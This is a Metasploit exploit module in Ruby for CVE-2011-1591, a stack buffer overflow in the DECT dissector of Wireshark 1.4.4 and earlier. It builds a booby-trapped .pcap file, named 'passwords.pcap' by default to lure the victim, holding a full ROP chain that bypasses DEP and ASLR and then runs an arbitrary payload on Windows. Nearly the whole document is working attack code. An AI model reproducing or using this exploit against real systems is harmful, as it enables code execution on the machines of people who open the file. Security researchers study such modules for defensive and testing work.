Wireshark 1.4.4 packet-dect.c Stack Buffer Overflow

`##  
# $Id: wireshark_packet_dect.rb 12365 2011-04-19 11:32:17Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in Wireshark <= 1.4.4  
When opening a malicious .pcap file in Wireshark, a stack buffer occurs,  
resulting in arbitrary code execution.  
This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'sickness', #found the vulnerabilitiy  
'corelanc0d3r' #rop exploit + msf module  
],  
'Version' => '$Revision: 12365 $',  
'References' =>  
[  
[ 'CVE', '2011-1591'],  
[ 'OSVDB', '71848'],  
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],  
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/17185' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 936,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',   
{   
'OffSet' => 1243,  
'Ret' => 0x667c484d, #libgnutl pivot - tx Lincoln  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Apr 18 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'pcap file', 'passwords.pcap']),  
], self.class)  
end  
  
def junk  
return rand_text(4).unpack("L")[0].to_i  
end  
  
def exploit  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
global_header = "\xd4\xc3\xb2\xa1" # magic_number  
global_header << "\x02\x00" # major version  
global_header << "\x04\x00" # minor version  
global_header << "\x00\x00\x00\x00" # GMT to local correction  
global_header << "\x00\x00\x00\x00" # accuracy  
global_header << "\xff\x7f\x00\x00" # snaplen  
global_header << "\x01\x00\x00\x00" # data link type  
  
packet_header = "\x26\x32\xac\x4d" #timestamp seconds  
packet_header << "\xda\xfa\x00\x08" #timestamp microseconds  
packet_header << "\x04\x06\x00\x00" #nr of octets of packet in file  
packet_header << "\x04\x06\x00\x00" #actual size of packet (1540)   
  
ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"  
  
print_status("Preparing payload")  
  
pivot = [target.ret].pack('V')  
  
# pvefindaddr rop 'n roll  
# tx dadr00p (https://twitter.com/dietersar) for testing the offsets below  
rop_pivot =  
[  
0x618d7d0e, # RET   
0x618d7d0e, # RET   
0x618d7d0e, # RET   
0x64f9d5ec, # ADD ESP,0C # RET - libfontconfig-1.dll  
0x618d7d0e, # RET <- don't count on this one !  
0x618d7d0e, # RET  
0x618d7d0e, # RET  
0x618d7d0e, # RET  
0x61C14268, # ADD ESP,24 # RETN - freetype6.dll  
0xFFFFFFFF, # crash baby !   
0xFFFFFFFF,  
0xFFFFFFFF,  
0xFFFFFFFF,  
0xFFFFFFFF,  
0x618d7d0e,  
0x618d7d0e,  
0x618d7d0e,  
0x618d7d0e,  
].pack("V*")  
  
rop_gadgets =  
[  
  
0x6d7155cb, # PUSH ESP # POP EBX # POP EBP # RETN **[libpangoft2-1.0-0.dll]  
junk,  
0x6d596e31, # MOV EAX,EBX # POP EBX # POP EBP # RETN **[libgio-2.0-0.dll]  
junk,  
junk,  
0x61c14552, # POP EBX # RETN ** [freetype6.dll]  
0x00000800, # size - 0x800 should be more than enough  
0x61c14043, # POP ESI # RETN ** [freetype6.dll]   
0x0000009C,   
0x6d58321a, # ADD EAX,ESI # POP ESI # POP EBP # RETN **[libgio-2.0-0.dll]  
junk,  
junk,  
0x68610a27, # XCHG EAX,EBP # RETN ** [libglib-2.0-0.dll]  
0x629445a6, # POP EAX # RETN ** [libatk-1.0-0.dll]  
0x62d9027c, #   
0x6c385913, # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN ** [libgdk-win32-2.0-0.dll]  
0x617bc526, # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN ** [libgtk-win32-2.0-0.dll]  
0x64f8c692, # POP EDX # RETN ** [libfontconfig-1.dll]  
0x00000040, #  
0x619638db, # POP ECX # RETN ** [libgtk-win32-2.0-0.dll]  
0x6536B010, # RW  
0x618d7d0d, # POP EDI # RETN ** [libgtk-win32-2.0-0.dll]   
0x618d7d0e, # RET  
0x64fa0c15, # POP EAX # RETN ** [libfontconfig-1.dll]   
0x618d7d0e, # RET  
0x61963fdb, # PUSHAD # RETN ** [libgtk-win32-2.0-0.dll]  
].pack("V*")  
  
pivot = [target.ret].pack('V')  
  
buffer = rand_text(131)  
buffer << rop_pivot  
buffer << rop_gadgets  
  
nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))  
  
buffer << nops  
buffer << payload.encoded  
buffer << pivot  
  
filler = 1540 - buffer.length  
  
buffer << rand_text(filler)  
  
filecontent = global_header  
filecontent << packet_header  
filecontent << ptype  
filecontent << buffer  
  
print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")  
  
file_create(filecontent)  
end  
end  
`